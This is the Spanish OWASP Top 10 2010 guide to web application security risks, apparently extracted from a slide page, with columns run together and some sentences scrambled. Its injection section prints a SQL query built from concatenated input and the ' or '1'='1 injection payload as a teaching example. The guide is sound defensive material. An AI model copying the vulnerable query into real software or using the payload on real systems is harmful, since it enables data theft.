Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidad
 
Presentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia ArtificialPresentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia Artificial
 
tarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzztarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzz
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptx
 
Trabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfTrabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdf
 

10 Riesgos más importantes en aplicaciones Web

  • 1.
  • 2. O   Acerca  de  OWASP   Prefacio   Acerca  de  OWASP   El  soMware  inseguro  esta  debilitando  actualmente  nuestra   infraestructura  criDca  financiera,  de  salud,  defensa,  energía,  y  otras.   El  proyecto  abierto  de  seguridad  en  aplicaciones  Web  (OWASP  por  sus   A  medida  que  nuestra  infraestructura  digital  es  cada  vez  más   siglas  en  inglés)  es  una  comunidad  abierta  dedicada  a  habilitar  a  las   compleja  e  interconectada,  la  dificultad  de  lograr  que  una  aplicación   organizaciones  para  desarrollar,  comprar  y  mantener  aplicaciones   sea  segura  incrementa  exponencialmente.  Ya  no  podemos  darnos  el   confiables.  En  OWASP  encontrara  recursos  abiertos  y  gratuitos…   lujo  de  tolerar  los  problemas  de  seguridad  relaDvamente  simples,   como  los  presentados  en  el  OWASP  Top  10.   •  Libros  y  estándares  sobre  seguridad  en  aplicaciones   •  Libros  completos  sobre  testeo  de  seguridad  en  aplicaciones,   El  objeDvo  del  proyecto  Top  10  es  crear  conciencia  sobre  la   desarrollo  seguro  de  código,  y  revisión  de  seguridad  del  código   seguridad  en  aplicaciones  mediante  la  idenDficación  de  algunos  de   •  Controles  de  seguridad  estándares  y  librerías   los  riesgos  más  críDcos  que  enfrentan  las  organizaciones.  El   •  Capítulos  Locales  en  disDntos  países   proyecto  Top  10  es  referenciado  por  numerosos  estándares,  libros,  y   •  InvesDgación  de  avanzada   organizaciones,  incluyendo  MITRE,  PCI  DSS,  DISA,  FTC,  y   •  Conferencias  alrededor  del  mundo   muchos  más.  Esta  versión  del  OWASP  Top  10  marca  el  octavo  año   •  Listas  de  Correo   del  proyecto  creando  conciencia  sobre  la  importancia  de  los  riesgos   •  Y  mucho  más  en  www.owasp.org     de  seguridad  en  aplicaciones.  El  OWASP  Top  10  fue  lanzado  por   primera  vez  en  2003,  se  hicieron  actualizaciones  menores  en  2004  y   Todas  la  herramientas,  documentos,  foros  y  capítulos  de  OWASP  son   2007,  y  esta  es  la  versión  de  2010.   gratuitos  y  abiertos  a  cualquiera  interesado  en  mejorar  la  seguridad   en  aplicaciones.  Abogamos  por  resolver  la  seguridad  en  aplicaciones   Lo  invitamos  a  que  uDlice  el  Top  10  para  que  su  organización  se   como  un  problema  de  gente,  procesos  y  tecnología  porque  las   inicie  en  la  temáDca  sobre  seguridad  en  aplicaciones.  Los   soluciones  mas  efecDvas  incluyen  mejoras  en  todas  estas  áreas.     desarrolladores  pueden  aprender  de  los  errores  de  otras   organizaciones.  Los  ejecuDvos  deben  comenzar  a  pensar  como   OWASP  es  un  nuevo  Dpo  de  organización.  Nuestra  libertad  de   gesDonar  el  riesgo  que  las  aplicaciones  de  soMware  crean  en  sus   presiones  comerciales  nos  permite  proveer  información  sobre   empresas.     seguridad  en  aplicaciones  sin  sesgos,  prácDca  y  efecDva.   Pero  el  Top  10  no  es  un  programa  de  seguridad  en  aplicaciones.   OWASP  no  está  afiliada  a  ninguna  compañía  de  tecnología,  aunque   Mirando  a  futuro,  OWASP  recomienda  que  las  organizaciones   soportamos  el  uso  informado  de  tecnologías  de  seguridad   establezcan  una  base  sólida  de  formación,  estándares  y   comerciales.  Parecido  a  muchos  proyectos  de  soMware  de  código   herramientas  que  hagan  posible  la  codificación  segura.  Por  encima   abierto,  OWASP  produce  muchos  materiales  en  una  manera  abierta  y   de  esa  base,  las  organizaciones  deben  integrar  la  seguridad  en  su   colaboraDva.   desarrollo,  verificación  y  procesos  de  mantenimiento.  La  gerencia   puede  uDlizar  los  datos  generados  por  estas  acDvidades  para   La  Fundación  OWASP  es  una  enDdad  sin  ánimo  de  lucro  para  asegurar   gesDonar  los  costos  y  riesgos  asociados  a  la  seguridad  en   el  éxito  a  largo  plazo  del  proyecto.  Casi  todos  los  miembros  de  OWASP   aplicaciones.   son  voluntarios,  incluyendo  el  Directorio  OWASP,  los  Comités   Globales,  Lideres  de  Capítulos,  Lideres  de  Proyectos,  y  miembros  de   Esperamos  que  el  Top  10  le  resulte  úDl  en  sus  esfuerzos  sobre   proyectos.  Nosotros  apoyamos  la  invesDgación  innovadora  sobre   seguridad  en  aplicaciones.  Por  favor  no  dude  en  contactarse  con   seguridad  a  través  de  becas  e  infraestructura.   OWASP  con  sus  preguntas,  comentarios,  e  ideas  ya  sea   públicamente  a  OWASP-­‐TopTen@lists.owasp.org  o  en  privado  a   Únete  a  nosotros!   dave.wichers@owasp.org.     hFp://www.owasp.org/index.php/Top_10   Derechos  de  Autor  y  Licencia   Copyright  ©  2003  –  2010  Fundación  OWASP   Este  documento  es  publicado  bajo  la  licencia  CreaDve  Commons  AFribuDon  ShareAlike  3.0.  Para   cualquier  reuDlización  o  distribución,  usted  debe  dejar  en  claro  a  otros  los  términos  de  la  licencia  sobre   este  trabajo.  
  • 3. I   Introducción   Bienvenido   Bienvenido  al  OWASP  Top  10  2010!  Esta  importante  actualización  representa  una  lista  concisa  y  enfocada  sobre  los  Diez  Riesgos  Más  CríBcos  sobre  Seguridad  en   Aplicaciones.  El  OWASP  Top  10  ha  sido  siempre  sobre  riesgos,  pero  esta  actualización  lo  evidencia  de  mayor  manera  respecto  a  ediciones  anteriores.  También   provee  información  adicional  sobre  como  evaluar  estos  riesgos  en  sus  aplicaciones.   Por  cada  ítem  en  el  Top  10,  esta  edición  describe  la  probabilidad  general  y  los  factores  de  consecuencia  que  se  uDlizan  para  clasificar  la  gravedad  kpica  del  riesgo.   Luego  presenta  orientación  sobre  como  verificar  si  usted  posee  problemas  en  esta  área,  como  evitarlos,  algunos  ejemplos  y  enlaces  a  mayor  información.   El  objeDvo  principal  del  Top  10  es  educar  desarrolladores,  diseñadores,  arquitectos,  gerentes,  y  organizaciones  sobre  las  consecuencias  de  las  vulnerabilidades  de   seguridad  más  importantes  en  aplicaciones  web.  El  Top  10  provee  técnicas  básicas  sobre  como  protegerse  en  estas  áreas  de  alto  riesgo  –  y  también  provee   orientación  sobre  los  pasos  a  seguir.   Advertencia   Agradecimientos   No  se  detenga  en  el  Top  10.  Existen  cientos  de  problemas  que  pueden   Gracias  a  Aspect  Security  por  iniciar,  liderar,  y  actualizar  el  OWASP  Top  10   afectar  la  seguridad  general  de  una  aplicación  web  tal  como  se  ha  discuDdo   desde  su  inicio  en  2003,  y  a  sus  principales  autores:  Jeff  Williams  y  Dave   en  la  Guia  de  Desarrollo  OWASP.  Este  documento  es  de  lectura  esencial  para   Wichers.   cualquiera  desarrollando  aplicaciones  web  hoy  en  día.  Una  efecDva   orientación  en  como  encontrar  vulnerabilidades  en  aplicaciones  web  es   suministrada  en  la  Guia  de  Testeo  OWASP  y  la Guia  de  Revision  de  Codigo  OWASP,  las  cuales  han  sido  significaDvamente   actualizadas  desde  la  ulDma  edición  del  Top  10.   Cambio  constante.  Este  Top  10  conDnuara  cambiando.  Incluso  sin  cambiar   Queremos  agradecer  a  las  siguientes  organizaciones  que  contribuyeron  con   una  línea  de  código  en  su  aplicación,  la  misma  puede  ser  vulnerable  a  algo   datos  sobre  predominancia  de  vulnerabilidades  para  actualizar  el  Top  10  2010:   que  nadie  haya  pensado  anteriormente.  Por  favor  revise  los  consejos   detallados  al  final  del  Top  10  “Próximos  pasos  para  Desarrolladores,     Aspect  Security     Verificadores  y  Organizaciones”  para  mayor  información.     MITRE  –  CVE   Piense  posiBvamente.  Cuando  se  encuentre  preparado  para  dejar  de  buscar     SoMtek   vulnerabilidades  y  focalizarse  en  establecer  controles  seguros  de     WhiteHat  Security  Inc.  –  StaDsDcs   aplicaciones,  OWASP  ha  producido  el   ApplicaDon  Security  VerificaDon  Standard  (ASVS)  como  una  guía  para   También  queremos  agradecer  a  aquellos  que  han  contribuido   organizaciones  y  revisores  de  aplicaciones  que  detalla  los  controles  de   significaDvamente  Dempo  o  contenido  revisando  esta  actualización  del  Top  10:   seguridad  a  verificar  en  una  aplicación.     Mike  Boberski  (Booz  Allen  Hamilton)   UBlice  herramientas  inteligentemente.  Las  vulnerabilidades  de  seguridad     Juan  Carlos  Calderon  (SoMtek)   pueden  ser  bastante  complejas  y  encontrarse  ocultas  en  montañas  de     Michael  Coates  (Aspect  Security)   código.  En  virtualmente  todos  los  casos,  el  enfoque  mas  eficiente  y     Jeremiah  Grossman  (WhiteHat  Security  Inc.)   económico  para  encontrar  y  eliminar  estas  vulnerabilidades  es  asignar     Jim  Manico  (por  todos  los  podcasts  sobre  el  Top  10)   expertos  armados  de  buenas  herramientas  para  realizar  esta  tarea.     Paul  Petefish  (SoluDonary  Inc.)     Eric  Sheridan  (Aspect  Security)   SDLC  Seguro.  Aplicaciones  Web  seguras  son  solo  posibles  cuando  se  uDliza     Neil  Smithline  (OneStopAppSecurity.com)   un  SDLC  Seguro.  Para  orientación  sobre  como  implementar  un  SDLC  Seguro,     Andrew  van  der  Stock   leer  el  Open  SoMware  Assurance  Maturity  Model  (SAMM),  el  cual  es  una     Colin  Watson  (Watson  Hall,  Ltd.)   actualización  significaDva  al  OWASP  CLASP  Project.     OWASP  Denmark  Chapter  (Liderado  por  Ulf  Munkedal)     OWASP  Sweden  Chapter  (Liderado  por  John  Wilander)   Sobre  esta  versión  en  Español   Esta  versión  en  español  del  OWASP  Top  10  ha  sido  posible  gracias  a  la  colaboración  totalmente  voluntaria  de:   •   Fabio  Cerullo  –  Coordinador  del  Proyecto   •   Juan  Calderon  –  Revisor  de  la  Traducción   • Jose  Antonio  Guasch  -­‐  Traductor   •   Paulo  Cesar  Coronado  -­‐  Traductor   •   Rodrigo  Marcos    -­‐  Traductor   •   Vicente  Aguilera  -­‐  Traductor   •   Daniel  Cabezas  Molina  -­‐  Traductor   •   Edgar  Sanchez  -­‐  Traductor  
  • 4. RN   Notas  sobre  esta  Versión  2010   ¿Que  ha  cambiado  del  2007  al  2010?   El  escenario  de  amenazas  para  aplicaciones  de  Internet  cambia  constantemente.  Los  factores  clave  en  esta  evolución  son  los   avances  hechos  por  los  atacantes,  la  liberación  de  nueva  tecnología,  así  como  la  instalación  de  sistemas  cada  vez  más  complejos.   Para  mantener  el  ritmo,  actualizamos  periódicamente  el  OWASP  Top  10.  En  esta  versión  2010,  hemos  hecho  tres  cambios   significaDvos:   Aclaramos  que  el  Top  10  es  acerca  del  Top  10  de  riesgos,  no  el  Top  10  de  las  debilidades  más  comunes.  Vea  los  detalles  en  la   página  “Riesgos  de  seguridad  en  aplicaciones”  más  abajo.   Cambiamos  nuestra  metodología  de  clasificación  para  esDmar  el  riesgo,  en  lugar  de  basarnos  solamente  en  la  frecuencia  de  la   debilidad  asociada.  Esto  ha  afectado  el  orden  del  Top  10,  como  puede  ver  en  la  tabla  más  abajo.   Reemplazamos  dos  elementos  de  la  lista  con  dos  nuevos  elementos:   •   AGREGADO:  A6  –  Defectuosa  configuración  de  seguridad.  Este  problema  fue  A10  en  el  Top  10  del  2004:  Administración   insegura  de  configuración,  pero  fue  abandonado  en  el  2007  porque  no  fue  considerado  un  problema  de  soMware.  Sin   embargo,  desde  una  perspecDva  de  riesgo  organizacional  y  prevalencia,  claramente  merece  una  re-­‐inclusión  en  el  Top   10;  así  que  ahora  está  de  vuelta.   •   AGREGADO:  A10  –  Redirecciones  y  reenvíos  no  validados.  Este  problema  está  haciendo  su  debut  en  el  Top  10.  La   evidencia  muestra  que  este  problema  relaDvamente  desconocido  está  difundido  y  puede  causar  daño  significaDvo.   •   REMOVIDO:  A3  –  Ejecución  maliciosa  de  ficheros.  Este  es  aún  un  problema  significaDvo  en  muchos  ambientes   diferentes.  Sin  embargo,  su  prevalencia  en  el  2007  fue  inflada  por  el  gran  número  de  aplicaciones  PHP  que  tenían  este   problema.  PHP  ahora  conDene  una  configuración  más  segura  por  omisión,  lo  que  ha  disminuido  la  prevalencia  de  este   problema.   •   REMOVIDO:  A6  –  Filtrado  de  información  y  manejo  inapropiado  de  errores.  Este  problema  es  extremadamente   prevalente,  pero  el  impacto  de  mostrar  la  pila  de  llamadas  y  la  información  de  mensajes  de  error  kpicamente  es  mínimo.   Con  la  adición  de  la  Mala  configuración  de  seguridad  este  año,  la  configuración  apropiada  del  manejo  de  errores   consDtuye  una  buena  parte  de  configurar  de  manera  segura  sus  aplicaciones  y  servidores.   OWASP  Top  10  –  2007  (Previo)   OWASP  Top  10  –  2010  (Nuevo)   A2  –  Fallas  de  inyección   A1  –  Inyección   A1  –  Secuencia  de  Comandos  en  SiBos  Cruzados  (XSS)   A2  –  Secuencia  de  Comandos  en  SiBos  Cruzados  (XSS)   A7  –  Pérdida  de  AutenBcación  y  GesBón  de  Sesiones   A3  –  Pérdida  de  AutenBcación  y  GesBón  de  Sesiones   A4  –  Referencia  Directa  Insegura  a  Objetos   A4  –  Referencia  Directa  Insegura  a  Objetos   A5  –  Falsificación  de  PeBciones  en  SiBos  Cruzados  (CSRF)   A5  –  Falsificación  de  PeBciones  en  SiBos  Cruzados  (CSRF)   <T10  2004  A10  –  Administración  Insegura  de  Configuración>   A6  –  Defectuosa  Configuración  de  Seguridad  (NUEVO)   A8  –  Almacenamiento  Criptográfico  Inseguro   A7  –  Almacenamiento  Criptográfico  Inseguro   A10  –  Falla  de  Restricción  de  Acceso  a  URL   A8  –  Falla  de  Restricción  de  Acceso  a  URL   A9  –  Comunicaciones  Inseguras   A9  –  Protección  Insuficiente  en  la  Capa  de  Transporte   <no  disponible  en  T10  2007>   A10  –  Redirecciones  y  reenvíos  no  validados  (NUEVO)   A3  –  Ejecución  Maliciosa  de  Ficheros   <removido  del  T10  2010>   A6  –  Filtrado  de  Información  y  Manejo  Inapropiado  de   <removido  del  T10  2010>   Errores  
  • 5. Riesgo   Riesgos  de  Seguridad  en  Aplicaciones   ¿Qué  son  los  riesgos  de  seguridad  en  aplicaciones?   Los  atacantes  pueden  potencialmente  usar  muchas  diferentes  rutas  a  través  de  su  aplicación  para  causar  daño  en  su  negocio  u   organización.  Cada  una  de  estas  rutas  representa  un  riesgo  que  puede,  o  no,  ser  lo  suficientemente  serio  como  para  merecer   atención.   Agentes   Vectores   Debilidades   Controles   Impactos   Impactos   De  Amenaza   De  Ataque   De  Seguridad   De  Seguridad   Tecnicos   al  Negocio   Ataque        Debilidad   Control   Impacto   Recurso   Ataque   Debilidad   Control   Impacto   Función   Ataque   Debilidad   Impacto   Recurso   Debilidad   Control   A  veces,  estas  rutas  son  triviales  de  encontrar  y  explotar  y  a  veces  son  extremadamente  diwciles.  De  manera  similar,  el  daño   causado  puede  ir  de  ninguno  hasta  incluso  sacarlo  del  negocio.  Para  determinar  el  riesgo  para  su  organización,  puede  evaluar  la   probabilidad  asociada  con  cada  agente  de  amenaza,  vector  de  ataque  y  debilidad  de  seguridad  y  combinarla  con  una  esDmación   del  impacto  técnico  y  de  negocios  en  su  organización.  Juntos,  estos  factores  determinan  el  riesgo  total.   ¿Cuál  es  Mi  riesgo?   Referencias   Esta  actualización  del  OWASP  Top  10  se  enfoca  en  la  idenDficación  de  los  riesgos   más  serios  para  un  amplio  espectro  de  organizaciones.  Para  cada  uno  de  estos   riesgos,  proveemos  información  genérica  acerca  de  la  probabilidad  y  el  impacto   OWASP   técnico  usando  el  siguiente  esquema  simple  de  calificación,  que  está  basado  en  la   •   Metodología  de  Evaluación  de  Riesgos  OWASP   Metodología  de  Evaluación  de  Riesgos  OWASP.   • ArDculo  sobre  Modelado  de  Amenazas/Riesgos   Agentes   Vectores   Prevalencia   Detectabilidad   Impacto   Impacto   De   De   de   Externas   de  Debilidades   Técnico   Al  Negocio   Amenaza   Ataque   Debilidades   •   FAIR  InformaDon  Risk  Framework     Fácil   Difundido   Fácil   Severo   •   MicrosoM  Threat  Modeling  (STRIDE  and  DREAD)   ?   Medio   Común   Medio   Moderado   ?   Diwcil   Poco  Común   Diwcil   Menor   Sin  embargo,  solo  usted  sabe  los  detalles  específicos  de  su  ambiente  y  su  negocio.   Para  una  aplicación  cualquiera,  puede  no  haber  un  agente  de  amenaza  que  pueda   ejecutar  el  ataque  relevante,  o  el  impacto  técnico  puede  no  hacer  diferencia   ninguna.  Por  tanto,  usted  debería  evaluar  cada  riesgo,  enfocándose  en  los  agentes   de  amenaza,  los  controles  de  seguridad  e  impactos  de  negocio  en  su  empresa.   Aunque  las  versiones  previas  del  OWASP  Top  10  se  enfocaron  en  la  idenDficación  de   las  “vulnerabilidades”  más  comunes,  también  fueron  diseñadas  alrededor  de  los   riesgos.  Los  nombres  de  los  riesgos  en  la  Top  10  surgen  del  Dpo  de  ataque,  el  Dpo   de  debilidad  o  el  Dpo  de  impacto  que  pueden  causar.  Elegimos  el  nombre  que  es   mejor  conocido  y  que  logrará  el  más  alto  nivel  de  reconocimiento.  
  • 6. OWASP  Top  10  2010  –  Riesgos  de   T10   Seguridad  en  Aplicaciones  Web   • Las  fallas  de  inyección,  tales  como  SQL,  OS,  y  LDAP,  ocurren  cuando  datos  no  confiables  son   enviados  a  un  interprete  como  parte  de  un  comando  o  consulta.  Los  datos  hosDles  del  atacante   A1  –  Inyección   pueden  engañar  al  interprete  en  ejecutar  comandos  no  intencionados  o  acceder  datos  no   autorizados.   A2  –  Secuencia  de   • Las  fallas  XSS  ocurren  cada  vez  que  una  aplicación  toma  datos  no  confiables  y  los  envía  al   comandos  en  siBos   navegador  web  sin  una  ven  el  navegador  de  la  vicDma  los  cuales  permite  a  ecuestrar  las  sejecutar  de   secuencia  de  comandos   alidación  y  codificación  apropiada.  XSS   pueden  s los  atacantes   esiones   cruzados  (XSS)   usuario,  destruir  siDos  web,  o  dirigir  al  usuario  hacia  un  siDo  malicioso.   A3  –  Pérdida  de   • Las  funciones  de  la  aplicación  relacionadas  a  autenDcación  y  gesDón  de  sesiones  son   AutenBcación  y   frecuentemente  implementadas  incorrectamente,  permiDendo  a  los  atacantes  comprometer   GesBón  de   contraseñas,  llaves,  token  de  sesiones,  o  explotar  otras  fallas  de  implementación  para  asumir  la   Sesiones   idenDdad  de  otros  usuarios.   A4  –  Referencia   • Una  referencia  directa  a  objetos  ocurre  cuando  un  desarrollador  expone  una  referencia  a  un   Directa  Insegura  a   objeto  de  ie  control  de  acceso  u  otra  protección,  lchero,  directorio,  o  base  de  datos.  Sin  run   chequeo  d mplementación  interno,  tal  como  un  fi os  atacantes  pueden  manipular  estas   eferencias   Objetos   para  acceder  datos  no  autorizados.   A5  –  Falsificación   • Un  ataque  CSRF  obliga  al  navegador  de  una  vicDma  autenDcada  a  enviar  una  peDción  HTTP   de  PeBciones  en   falsificado,  incluyendo  la  sesión  del  usuario  y  cualquier  otra  información  de  autenDcación  incluida   automáDcamente,  a  una  aplicación  web  vulnerable.  Esto  permite  al  atacante  forzar  al  navegador   SiBos  Cruzados   de  la  vicDma  para  generar  pedidos  que  la  aplicación  vulnerable  piensa  son  peDciones  legíDmas   (CSRF)   provenientes  de  la  vicDma.   •   Una  buena  seguridad  requiere  tener  definida  e  implementada  una  configuración  segura  para  la   A6  –  Defectuosa   aplicación,  marcos  de  trabajo,  servidor  de  aplicación,  servidor  web,  base  de  datos,  y  plataforma.   configuración  de   Todas  estas  configuraciones  deben  ser  definidas,  implementadas,  y  mantenidas  ya  que  por  lo   seguridad   general  no  son  seguras  por  defecto.  Esto  incluye  mantener  todo  el  soMware  actualizado,  incluidas   las  librerías  de  código  uDlizadas  por  la  aplicación.   A7  –   • Muchas  aplicaciones  web  no  protegen  adecuadamente  los  datos  sensibles,  tales  como  tarjetas  de   Almacenamiento   crédito,  NSSs,  y  credenciales  de  autenDcación  con  mecanismos  de  cifrado  o  hashing.  Atacantes   Criptográfico   pueden  modificar  o  robar  tales  datos  protegidos  inadecuadamente  para  conducir  robos  de   Inseguro   idenDdad,  fraudes  de  tarjeta  de  crédito  u  otros  crímenes.   A8  -­‐  Falla  de   • Muchas  aplicaciones  web  verifican  los  privilegios  de  acceso  a  URLs  antes  de  generar  enlaces  o   botones  protegidos.  Sin  embargo,  las  aplicaciones  necesitan  realizar  controles  similares  cada  vez   Restricción  de   Acceso  a  URL   que  estas  páginas  son  accedidas,  o  los  atacantes  podrán  falsificar  URLs  para  acceder  a  estas   páginas  igualmente.   A9  –  Protección   • Las  aplicaciones  frecuentemente  fallan  al  autenDcar,  cifrar,  y  proteger  la  confidencialidad  e   Insuficiente  en  la   integridad  de  tráfico  de  red  sensible.  Cuando  esto  ocurre,  es  debido  a  la  uDlización  de    algoritmos   capa  de  Transporte   débiles,  cerDficados  expirados,  inválidos,  o  sencillamente  no  uDlizados  correctamente.   A10  –   • Las  aplicaciones  web  frecuentemente  redirigen  y  reenvían  a  los  usuarios  hacia  otras  páginas  o  siDos  web,  y   Redirecciones  y   uDlizan  datos  no  confiables  para  determinar  la  página  de  desDno.  Sin  una  validación  apropiada,  los  atacantes   Reenvíos  no   pueden  redirigir  a  las  vícDmas  hacia  siDos  de  phishing  o  malware,  o  uDlizar  reenvíos  para  acceder  páginas  no   autorizadas.     validados  
  • 7. A1   Inyección          Vectores                        Deficiencias    Impactos   Impactos  en   Agentes     de  Ataque   de  Seguridad   Técnicos   el  negocio   de  amenaza   Explotación   Prevalencia   Detección   Impacto   __________   __________   FACIL   COMUN   MEDIA   SEVERO   Considerar  cualquier   El  atacante  envia  simples   Las  fallas  de  inyeccion  ocurren  cuando  una  aplicación   Una  falla  de  inyección   Considerar  el  valor  para   persona  que  pueda   cadenas  de  texto  que   envía  datos  no  confiables  a  un  interprete.  Las  fallas   puede  resultar  en   el  negocio  de  los  datos   enviar  datos  no   explotan  la  sintaxis  del   de  inyección  son  muy  prevalentes,  parDcularmente   perdida  o  corrupción  de   afectados  y  la  plataforma   confiables  al  sistema,   interprete  atacado.  Casi   en  código  legado,  el  cual  es  frecuentemente   datos,  falta  de  integridad,   corriendo  el  interprete.   incluyendo  usuarios   cualquier  fuente  de  datos   encontrado  en  consultas  SQL,  LDAP,  XPath,   o  negación  de  acceso.   Todos  los  datos  pueden   externos,  internos  y   puede  ser  un  vector  de   comandos  de  SO,  argumentos  de  programa,  etc.  Las   Una  falla  de  inyección   ser  robados,   administradores.   inyeccion,  incluyendo   fallas  de  inyección  son  fácil  de  descubrir  cuando  se   puede  algunas  veces   modificados,  o   fuentes  internas.   examina  el  código,  pero  mas  diwcil  a  través  de   llevar  a  la  toma  de   eliminados.  ¿Puede  su   testeos.  Los  scanners  y  fuzzers  pueden  ayudar  a  los   posesión  completa  del   reputación  ser  dañada?   atacantes  a  descubrir  estas  fallas.   servidor.   ¿Soy  Vulnerable?   ¿Como  puedo  evitar  esto?   La  mejor  manera  de  saber  si  una  aplicación  es  vulnerable  a  inyección  es   Prevenir  la  inyección  requiere  mantener  los  datos  no  confiables  separados  de   verificar  que  todo  uso  de  los  interpretes  claramente  separe  datos  no   comandos  y  consultas.   confiables  del  comando  o  consulta.  Para  llamados  SQL,  esto  significa  uDlizar   variables  parametrizadas  en  todas  las  declaraciones  preparadas  y   1.  La  opción  preferida  es  uDlizar  una  API  segura  que  evite  el  uso  del   procedimientos  almacenados,  como  asi  también  evitar  consultas  dinámicas.   interprete  completamente  o  provea  una  interface  parametrizada.  Sea   cuidadoso  con  APIs,  tales  como  procedimientos  almacenados,  que  son   Revisar  el  código  es  una  manera  fácil  y  efecDva  para  ver  si  la  aplicación  uDliza   parametrizados,  pero  que  aun  pueden  introducir  inyección   los  interpretes  de  manera  segura.  Las  herramientas  de  análisis  de  código   implícitamente.   pueden  ayudar  a  un  analista  de  seguridad  a  encontrar  la  uDlización  de   interpretes  y  rastrear  el  flujo  de  datos  en  la  aplicación.  Los  testeos  de   2.  Si  una  API  parametrizada  no  se  encuentra  disponible,  usted  debe   penetración  pueden  validar  estos  problemas  a  través  de  fallas  especialmente   cuidadosamente  escapar  los  caracteres  especiales  uDlizando  una   hechas  a  mano  que  confirman  la  vulnerabilidad.   sintaxis  de  escape  especial  para  dicho  interprete.  OWASP’s  ESAPI  posee   algunas  de  estas  ruDnas  de  escape.   Los  escaneos  dinámicos  automaDzados  ejercitados  en  la  aplicación  pueden   proveer  una  buena  comprensión  sobre  si  alguna  falla  de  inyección  existe.  Los   3.  Una  validación  posiDva  de  entradas  con  una  apropiada  canonicalización   escáneres  no  siempre  pueden  llegar  a  los  interpretes  y  Denen  dificultad  en   es  también  recomendado,  pero  no  es  una  defensa  completa  ya  que   detectar  si  un  ataque  fue  exitoso.  Un  manejo  pobre  de  los  errores  hace  mas   muchas  aplicaciones  requieren  caracteres  especiales  en  sus  entradas.   OWASP’s  ESAPI  Dene  una  librería  extensible  de   fácil  la  detección  de  fallas  de  inyección.   ruDnas  de  validacion  de  entradas.   Ejemplos  de  escenarios  de  ataque   Referencias   La  aplicación  uDliza  datos  no  confiables  en  la  construcción  de  la  siguiente   OWASP   consulta  vulnerable  SQL:   •   OWASP  SQL  InjecDon  PrevenDon  Cheat  Sheet      String  query  =  "SELECT  *  FROM  accounts  WHERE      custID='"  +  request.getParameter("id")  +"'";   •   OWASP  InjecDon  Flaws  ArDcle   El  atacante  modifica  el  parámetro  ‘id’  en  su  navegador  para  enviar:  '  or  '1'='1.   •   ESAPI  Encoder  API   Esto  cambia  el  significado  de  la  consulta  devolviendo  todos  los  registros  de  la   •   ESAPI  Input  ValidaDon  API   tabla  ACCOUNTS  en  lugar  de  solo  el  cliente  solicitado.   •   ASVS:  Output  Encoding/Escaping  Requirements  (V6)      hsp://example.com/app/accountView?id='  or  '1'='1     •   OWASP  TesDng  Guide:  Chapter  on  SQL  InjecDon  TesDng   En  el  peor  caso,  el  atacante  uDliza  esta  vulnerabilidad  para  invocar   procedimientos  almacenados  especiales  en  la  base  de  datos  que  permiten  la   •   OWASP  Code  Review  Guide:  Chapter  on  SQL  InjecDon   toma  de  posesión  de  la  base  de  datos  y  posiblemente  también  al  servidor   •   OWASP  Code  Review  Guide:  Command  InjecDon   que  aloja  la  misma.   Externas   •   CWE  Entry  77  on  Command  InjecDon   •   CWE  Entry  89  on  SQL  InjecDon  
  • 8. A2   Secuencia  de  Comandos  en  SiBos  Cruzados  (XSS)          Vectores                        Deficiencias    Impactos   Impactos  en   Agentes     de  Ataque   de  Seguridad   Técnicos   el  negocio   de  amenaza   Explotación   Prevalencia   Detección   Impacto   __________   __________   MEDIA   MUY  DIFUNDIDA   FACIL   MODERADO   Considerar  cualquier   El  atacante  envía  simples   XSS  es  la  falla  de  seguridad  mas  prevalente  en   Los  atacantes  pueden   Considerar  el  valor  de   persona  que  pueda   cadenas  de  texto  que   aplicaciones  web.  Las  fallas  XSS  ocurren  cuando  una   ejecutar  secuencias  de   negocio  de  los  datos   enviar  datos  no   explotan  la  sintaxis  del   aplicación  incluye  datos  suministrados  por  el  usuario   comandos  en  el   afectados  o  funciones  de   confiables  al  sistema,   interprete  atacado.  Casi   en  una  pagina  enviada  al  navegador  sin  ser  el   navegador  de  una   incluyendo  usuarios   cualquier  fuente  de  datos   contenido  apropiadamente  validado  o  escapado.   vicDma  para  secuestrar   la  aplicación.   externos,  internos  y   puede  ser  un  vector  de   Existen  tres  Dpos  conocidos  de  fallas  XSS:  1)   las  sesiones  de  usuario,   administradores.   inyección,  incluyendo   Almacenados,  2)  Reflejados,  and  3)   destruir  siDos  web,   También  considere  el   fuentes  internas  tales   XSS  basado  en  DOM.   insertar  código  hosDl,   impacto  en  el  negocio  la   como  datos  de  la  base  de   redirigir  usuarios,  instalar   exposición  pública  de  la   datos.   La  detección  de  la  mayoría  de  las  fallas  XSS  es   código  malicioso  en  el   relaDvamente  fácil  a  través  de  pruebas  análisis  de   vulnerabilidad.   navegador  de  la  vicDma,   código.   etc.   ¿Soy  Vulnerable?   ¿Como  puedo  evitar  esto?   Es  necesario  asegurarse  que  todos  los  datos  de  entrada  suministrados  por  el   Prevenir  XSS  requiere  mantener  los  datos  no  confiables  separados  del   usuario  enviados  al  navegador  sean  seguros  (a  través  de  validación  de   contenido  acDvo  del  navegador.   entradas),  y  que  las  entradas  de  usuario  sean  apropiadamente  escapadas   antes  de  que  sean  incluidas  en  la  pagina  de  salida.  Una  apropiada   1.  La  opción  preferida  es  escapar  todos  los  datos  no  confiables  basados  en   codificación  de  salida  asegura  que  los  datos  de  entrada  sean  siempre  tratados   el  contexto  HTML  (cuerpo,  atributo,  JavaScript,  CSS,  o  URL)  donde  los   como  texto  en  el  navegador,  en  lugar  de  contenido  acDvo  que  puede  ser   mismos  serán  ubicados.  Los  desarrolladores  necesitan  incluir  esta   técnica  en  sus  aplicaciones  al  menos  que  el  marco  UI  lo  realice  por  ellos.   ejecutado.   Ver  la  Hoja  de  Trucos  de  Prevencion  XSS  para  mayor  información  sobre   Tanto  las  herramientas  estáDcas  como  dinámicas  pueden  encontrar  algunos   técnicas  de  escape  de  datos.   problemas  de  XSS  automáDcamente.  Sin  embargo,  cada  aplicación  construye   las  paginas  de  salida  diferentemente  y  uDliza  diferentes  interpretes  tales   2.  Una  validación  de  entradas  posiDva  o  “whitelist”  con  apropiada   como  JavaScript,  AcDveX,  